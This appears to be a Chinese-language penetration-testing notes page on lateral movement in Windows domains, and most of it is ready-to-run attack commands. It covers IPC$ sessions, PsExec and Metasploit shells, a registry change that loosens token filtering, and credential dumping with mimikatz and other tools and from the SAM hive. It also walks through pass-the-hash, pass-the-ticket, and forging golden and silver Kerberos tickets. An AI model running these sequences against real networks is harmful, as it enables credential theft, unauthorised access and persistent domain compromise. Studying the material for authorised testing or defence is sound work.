# 横向移动

### 域内横向移动

域内横向移动是指，攻击者以攻陷的系统为跳板，访问其他域内主机，扩大攻击战果

#### windows远程连接

* IPC（Internet Process Connection）指进程间通信开放的命名管道
* IPC 可以通过验证用户名和密码获得相应权限，比如远程管理计算机和查看共享资源
* 通过 `ipc$` 可以与目标机器建立连接，利用这个连接，可以访问目标机器的文件、上传、下载以及运行命令等

#### 建立ipc$

```bash
# 建立ipc$
net use \\<目标IP>\ipc$ /user:<用户名> <密码>

# 查看建立的连接
net use

# 访问远程文件
dir \\<目标IP>\c$

# 使用 psexec.exe 反弹 shell
PsExec.exe -ACCEPTEULA \\<目标IP> -s cmd.exe

# 使用 MSF 中的 psexec 模块反弹 shell
use exploit/windows/smb/psexec
show options
set rhosts <目标IP>
set smbuser <目标用户名>
set smbpass <目标用户密码>
run
getuid

# 有些系统版本会报错，解决方案如下
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
```

### 密码、认证与权限

#### 获取密码方式

* 通过简单猜测或爆破：弱口令
* 通过系统漏洞：溢出
* 用户自己泄露：git、配置文件等泄露
* 通过系统后门：中病毒等
* 通过用户主机窃听：键盘记录
* 通过中间人劫持：网络窃听

#### Windows密码文件原理

* Hash 一般翻译做“散列”，也有直接音译为“哈希”的，就是把任意长度的输入（又叫做预映射 pre-image），通过散列算法，变换成固定长度的输出，该输出就是散列值。这种转换是一种压缩映射，也就是，散列值的空间通常远小于输入的空间，不同的输入可能会散列成相同的输出（概率非常小），所以不可能从散列值来唯一的确定输入值。
* 在 windows 下通过 SAMInside 提取到的密码 Hash 时，可以看到有两条，分别是 LM-Hash 和 NT-Hash，这是对同一个密码的两种不同的加密方式
* windows 密码结构：`用户名称:RID:LM-HASH值:NT-HASH值`

#### 密码导出方式

* C:\Windows\System32\config\SAM
* GetPass
* Mimikatz
* PwnDump7
* WCE

#### Windows密码提取工具

**GetPass**

运行后可获取明文密码，2012版本之后的系统已经禁止在内存中保存明文密码

```bash
# 管理员身份运行 cmd
GetPassword_x64.exe
```

**PwDump7**

运行后可获取系统中所有账户的 NTLM Hash，可以通过彩虹表破解散列值，还可以通过哈希传递的方式进行横向渗透

密码在线查询：

* <https://www.cmd5.com>
* <https://www.pmd5.com>
* <http://www.ttmd5.com/>
* <https://ophcrack.sourceforge.io/>

```bash
# 管理员身份运行 cmd
PwDump7.exe
```

**QuarksPwDump获取哈希**

```bash
# 管理员身份运行 cmd
QuarksPwDump.exe --dump-hash-local
```

**通过SAM和SYSTEM文件抓取密码**

```bash
# reg save 将注册表中的 SAM、System 文件导出到本地磁盘
reg save hklm\sam sam.hive
reg save hklm\system system.hive

# 将 sam.hive 和 system.hive 放在 mimikatz.exe 同一个目录下
lsadump::sam /sam:sam.hive /system:system.hive
```

### 哈希传递(PTH)

* 哈希传递攻击(Pass The Hash)是通过找到与账户相关的密码散列值（通常是 NTLM Hash）进行攻击
* 在 windows 网络中，散列值是用来证明身份的（有正确的用户名和密码散列值，就能通过验证）
* 由于大量计算机在本地安装时，可能会使用相同的本地管理员账号和密码，这样攻击者就可以使用哈希传递来登录内网中其他的计算机

#### 获取哈希

```bash
mimikatz

# 提升权限
privilege::debug

# system 权限
token::elevate

# 读取本地 SAM 文件，获取 NTML Hash
lsadump::sam

# 在线读取散列值及明文密码，执行后生成文本文件
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
```

#### 实验

使用 NTLM Hash 进行哈希传递

```bash
# 管理员权限运行 cmd
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::pth /user:<目标用户名> /domain:<域名> /ntlm:<NTLM Hash>

# 此时会弹出一个 cmd
dir \\<目标主机名>\c$

# 使用 PsExec 反弹 shell
PsExec.exe -accepteula \\<目标IP> –s cmd.exe
whoami
net nser
```

### 票据传递(PTT)

哈希传递需要具备管理员权限，票据传递不需要具备管理员权限

#### 实验

**使用kekeo传递票据**

```bash
# 生成票据：TGT_administrator@ROOT.COM_krbtgt~root.com@ROOT.COM.kirbi
tgt::ask /user:<目标用户名> /domain:<域名> /ntlm:<NTLM Hash>

# 导入票据
kerberos::ptt TGT_administrator@ROOT.COM_krbtgt~root.com@ROOT.COM.kirbi

# 检测连接
dir \\<目标主机名>\c$

# 使用 PsExec 反弹 shell
PsExec.exe -accepteula \\<目标主机名> -s cmd.exe
```

**使用 mimikatz 传递票据**

```bash
privilege::debug

# 导出内存中的票据
sekurlsa::tickets /export

# 清空内存中的票据
kerberos::purge

# 将票据文件注入内存
kerberos::ptt <票据文件名>

# 使用 PsExec 反弹 shell
PsExec.exe -accepteula \\<目标主机名> -s cmd.exe
```

### 域认证流程

Kerberos 是用于验证用户身份的计算机网络身份验证协议。下面是 Kerberos 工作方式的一个简单描述:

![](https://toki-figurebed.oss-cn-shenzhen.aliyuncs.com/202204252022487.gif)

* 步骤1: 要启动 Kerberos 身份验证过程，首先客户机输入凭证(只有 userID) ，然后向 Kerberos Key 分发中心(KDC)的身份验证服务器发送一个身份验证请求。身份验证服务器验证客户机的用户名是否在 KDC 数据库中。
* 步骤2: 如果客户机的用户名在 KDC 数据库中不可用，则无法对客户机进行身份验证，身份验证过程结束。如果在 KDC 数据库中找到客户机的用户名或 userID，身份验证服务器将向客户机发送一个 Ticket Granting Ticket (TGT)和一个 session key (SK1)。TGT 包含客户端 ID、客户端网络地址、时间戳和生存期。会话密钥(SK1)使用客户端的秘密密钥加密，TGT 使用 TGS 的秘密密钥加密。
* 步骤3: 客户机使用客户机/用户秘密密钥(由用户输入的密码生成)解密消息并提取 Session 密钥和 TGT。解密后，此会话密钥用于与 TGS 的进一步通信。
* 步骤4: 经过身份验证服务器的身份验证并解密会话密钥之后，客户机从 Ticket Granting Server (TGS)请求服务票证(用于 web/应用程序服务器访问)。
* 步骤5: TGS 然后使用 TGS 秘密密钥对从客户机接收到的 TGT 进行解密，并提取会话密钥(SK1)。TGS 解密身份验证器(TGT)并检查它是否与客户机的用户名和客户机网络地址匹配。TGS 还使用提取的时间戳来确保 TGT 没有过期。如果流程成功地进行了所有检查，那么 KDC 生成一个服务会话密钥(SK2) ，该密钥在客户机和目标服务器(可能是 web 服务器或应用程序服务器)之间共享。
* 步骤6: 客户端发送一个访问应用服务器的请求。这个请求包括 TGS 上一步接收到的服务会话密钥(SK2)。如果应用程序服务器可以对此请求进行身份验证，则客户端可以访问服务器。

### 伪造黄金票据

伪造黄金票据是域控制器权限维持的一种方式

#### 票据传送实验

```bash
# 获取域名
net config workstation

# 获取主机名
nltest /dsgetdc:<域名>

# 导出 krbtgt 的 NTLM Hash，在域控的 mimikatz 中运行
privilege::debug
lsadump::dcsync /domain:<域名> /all /csv

# 获取域 sid（注：查出来的字符串中，sid 为去掉最后一段-xxx剩余的部分）
lsadump::dcsync /domain:<域名> /user:krbtgt
wmic useraccount get name,sid

# 伪造黄金票据
kerberos::golden /admin:<目标用户名> /domain:<域名> /sid:<域 SID> /krbtgt:<krbtgt 账户的 NTLM Hash> /ticket:<输出的文件名>.kiribi

# 现在可以将 <输出的文件名>.kiribi 保存下来，任何情况下都可以通过该票据进行登录到域控

# 清空票据
kerberos::purge

# 导入票据
kerberos::ptt <输出的文件名>.kiribi

# 验证票据
klist

# 检测连接
dir \\<目标主机名>\c$

# 使用 PsExec 反弹 shell
PsExec.exe -accepteula \\<目标主机名> -s cmd.exe
```

### 伪造白银票据

* 白银票据（Silver Ticket），利用过程是伪造 TGS，通过已知的授权服务密码生成一张可以访问该服务的票据
* 白银票据生成过程中，不需要经过 KDC，不需要域域控交互
* 白银票据依赖服务账户（如：LDAP、MSSQL、DNS、CIFS等）的密码散列值

#### 使用白银票据伪造CIFS服务权限

```bash
# 获取域名
net config workstation

# 获取主机名
nltest /dsgetdc:<域名>

# 获取域 SID（注：查出来的字符串中，sid 为去掉最后一段-xxx剩余的部分）
whoami /all
wmic useraccount get name,sid

# 获取 NTLM Hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt

# 伪造白银票据
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标主机名>.<域名> /service:cifs /rc4:<目标机的 NTLM Hash> /user:<目标用户名> /ptt

# 验证权限
dir \\<目标主机名>\c$

# 使用 PsExec 反弹 shell
PsExec.exe -accepteula \\<目标主机名> -s cmd.exe
```
